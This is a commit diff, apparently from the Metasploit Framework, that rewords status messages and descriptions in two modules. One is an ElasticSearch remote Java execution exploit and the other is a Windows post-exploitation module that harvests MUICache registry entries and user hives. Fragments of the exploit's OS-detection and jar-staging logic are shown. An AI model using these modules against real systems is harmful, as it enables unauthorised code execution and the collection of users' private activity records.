Skip to content

Commit ea383b4

Browse files
author
Tod Beardsley
committed
Make print/descs/case consistent
1 parent b7dc89f commit ea383b4

File tree

2 files changed

+26
-25
lines changed

2 files changed

+26
-25
lines changed

modules/exploits/multi/elasticsearch/script_mvel_rce.rb

Lines changed: 11 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -15,10 +15,10 @@ def initialize(info = {})
1515
super(update_info(info,
1616
'Name' => 'ElasticSearch Dynamic Script Arbitrary Java Execution',
1717
'Description' => %q{
18-
This module exploits a remote command execution vulnerability in ElasticSearch,
18+
This module exploits a remote command execution (RCE) vulnerability in ElasticSearch,
1919
exploitable by default on ElasticSearch prior to 1.2.0. The bug is found in the
20-
REST API, which requires no authentication or authorization, where the search
21-
function allows dynamic scripts execution, and can be used for remote attackers
20+
REST API, which does not require authentication, where the search
21+
function allows dynamic scripts execution. It can be used for remote attackers
2222
to execute arbitrary Java code. This module has been tested successfully on
2323
ElasticSearch 1.1.1 on Ubuntu Server 12.04 and Windows XP SP3.
2424
},
@@ -65,29 +65,30 @@ def check
6565
end
6666

6767
def exploit
68-
print_status("#{peer} - Trying to execute arbitrary Java..")
68+
print_status("#{peer} - Trying to execute arbitrary Java...")
6969
unless vulnerable?
7070
fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...")
7171
end
7272

73-
print_status("#{peer} - Asking remote OS...")
73+
print_status("#{peer} - Discovering remote OS...")
7474
res = execute(java_os)
7575
result = parse_result(res)
7676
if result.nil?
77-
fail_with(Failure::Unknown, "#{peer} - Could not get remote OS...")
77+
fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...")
7878
else
79-
print_good("#{peer} - OS #{result} found")
79+
# TODO: It'd be nice to report_host() with this info.
80+
print_good("#{peer} - Remote OS is '#{result}' ")
8081
end
8182

8283
jar_file = ""
8384
if result =~ /win/i
84-
print_status("#{peer} - Asking TEMP path")
85+
print_status("#{peer} - Discovering TEMP path")
8586
res = execute(java_tmp_dir)
8687
result = parse_result(res)
8788
if result.nil?
88-
fail_with(Failure::Unknown, "#{peer} - Could not get TEMP path...")
89+
fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...")
8990
else
90-
print_good("#{peer} - TEMP path found on #{result}")
91+
print_good("#{peer} - TEMP path identified: '#{result}' ")
9192
end
9293
jar_file = "#{result}#{rand_text_alpha(3 + rand(4))}.jar"
9394
else

modules/post/windows/gather/enum_muicache.rb

Lines changed: 15 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@ def initialize(info={})
1818
'Description' =>
1919
%q{
2020
This module gathers information about the files and file paths that logged on users have
21-
executed on the system. It also will check if the file exists on the system still. This
21+
executed on the system. It also will check if the file still exists on the system. This
2222
information is gathered by using information stored under the MUICache registry key. If
2323
the user is logged in when the module is executed it will collect the MUICache entries
2424
by accessing the registry directly. If the user is not logged in the module will download
@@ -43,7 +43,7 @@ def find_user_names
4343
username_reg_path = "HKLM\\Software\\Microsoft\\Windows\ NT\\CurrentVersion\\ProfileList"
4444
profile_subkeys = registry_enumkeys(username_reg_path)
4545
if profile_subkeys.blank?
46-
print_error("Unable to access ProfileList registry key. Can't continue.")
46+
print_error("Unable to access ProfileList registry key. Unable to continue.")
4747
return nil
4848
end
4949

@@ -53,7 +53,7 @@ def find_user_names
5353
end
5454
user_home_path = registry_getvaldata("#{username_reg_path}\\#{user_sid}", "ProfileImagePath")
5555
if user_home_path.blank?
56-
print_error("Unable to read ProfileImagePath from the registry. Can't continue.")
56+
print_error("Unable to read ProfileImagePath from the registry. Unable to continue.")
5757
return nil
5858
end
5959
full_path = user_home_path.strip
@@ -94,7 +94,7 @@ def enumerate_muicache(muicache_reg_keys, sys_users, sys_paths, muicache, hive_f
9494
# If the registry_enumvals returns us nothing then we'll know
9595
# that the user is most likely not logged in and we'll need to
9696
# download and process users hive locally.
97-
print_warning("User #{user}: Can't access registry (maybe the user is not logged in atm?). Trying NTUSER.DAT/USRCLASS.DAT..")
97+
print_warning("User #{user}: Can't access registry. Maybe the user is not logged in? Trying NTUSER.DAT/USRCLASS.DAT...")
9898
result = process_hive(sys_path, user, muicache, hive_file)
9999
unless result.nil?
100100
result.each { |r|
@@ -105,7 +105,7 @@ def enumerate_muicache(muicache_reg_keys, sys_users, sys_paths, muicache, hive_f
105105
# If the registry_enumvals returns us content we'll know that we
106106
# can access the registry directly and thus continue to process
107107
# the content collected from there.
108-
print_status("User #{user}: Enumerating registry..")
108+
print_status("User #{user}: Enumerating registry...")
109109
subkeys.each do |key|
110110
if key[0] != "@" && key != "LangID" && !key.nil?
111111
result = check_file_exists(key, user)
@@ -142,11 +142,11 @@ def process_hive(sys_path, user, muicache, hive_file)
142142
ntuser_status = file_exist?(hive_path)
143143

144144
unless ntuser_status == true
145-
print_warning("Couldn't locate/download #{user}'s registry hive. Can't proceed.")
145+
print_warning("Couldn't locate/download #{user}'s registry hive. Unable to proceed.")
146146
return nil
147147
end
148148

149-
print_status("Downloading #{user}'s NTUSER.DAT/USRCLASS.DAT file..")
149+
print_status("Downloading #{user}'s NTUSER.DAT/USRCLASS.DAT file...")
150150
local_hive_copy = Rex::Quickfile.new("jtrtmp")
151151
local_hive_copy.close
152152
begin
@@ -166,8 +166,8 @@ def process_hive(sys_path, user, muicache, hive_file)
166166
# extracting the contents of the MUICache registry key.
167167
def hive_parser(local_hive_copy, muicache, user)
168168
results = []
169-
print_status("Parsing registry content..")
170-
err_msg = "Error parsing hive. Can't continue."
169+
print_status("Parsing registry content...")
170+
err_msg = "Error parsing hive. Unable to continue."
171171
hive = Rex::Registry::Hive.new(local_hive_copy)
172172
if hive.nil?
173173
print_error(err_msg)
@@ -210,7 +210,7 @@ def hive_parser(local_hive_copy, muicache, user)
210210
# - http://forensicartifacts.com/2010/08/registry-muicache/
211211
# - http://www.irongeek.com/i.php?page=security/windows-forensics-registry-and-file-system-spots
212212
def run
213-
print_status("Starting to enumerate MuiCache registry keys..")
213+
print_status("Starting to enumerate MUICache registry keys...")
214214
sys_info = sysinfo['OS']
215215

216216
if sys_info =~/Windows XP/ && is_admin?
@@ -219,7 +219,7 @@ def run
219219
hive_file = "\\NTUSER.DAT"
220220
elsif sys_info =~/Windows 7/ && is_admin?
221221
print_good("Remote system supported: #{sys_info}")
222-
muicache = "_Classes\\Local\ Settings\\Software\\Microsoft\\Windows\\Shell\\MuiCache"
222+
muicache = "_Classes\\Local\ Settings\\Software\\Microsoft\\Windows\\Shell\\MUICache"
223223
hive_file = "\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat"
224224
else
225225
print_error("Unsupported OS or not enough privileges. Unable to continue.")
@@ -236,7 +236,7 @@ def run
236236
"File status",
237237
])
238238

239-
print_status("Phase 1: Searching user names..")
239+
print_status("Phase 1: Searching user names...")
240240
sys_users, sys_paths, sys_sids = find_user_names
241241

242242
if sys_users.blank?
@@ -246,16 +246,16 @@ def run
246246
print_good("Users found: #{sys_users.join(", ")}")
247247
end
248248

249-
print_status("Phase 2: Searching registry hives..")
249+
print_status("Phase 2: Searching registry hives...")
250250
muicache_reg_keys = enum_muicache_paths(sys_sids, muicache)
251251
results = enumerate_muicache(muicache_reg_keys, sys_users, sys_paths, muicache, hive_file)
252252

253253
results.each { |r| table << r }
254254

255-
print_status("Phase 3: Processing results..")
255+
print_status("Phase 3: Processing results...")
256256
loot = store_loot("muicache_info", "text/plain", session, table.to_s, nil, "MUICache Information")
257257
print_line("\n" + table.to_s + "\n")
258-
print_status("Results stored in: #{loot}")
258+
print_status("Results stored as: #{loot}")
259259
print_status("Execution finished.")
260260
end
261261

0 commit comments

Comments
 (0)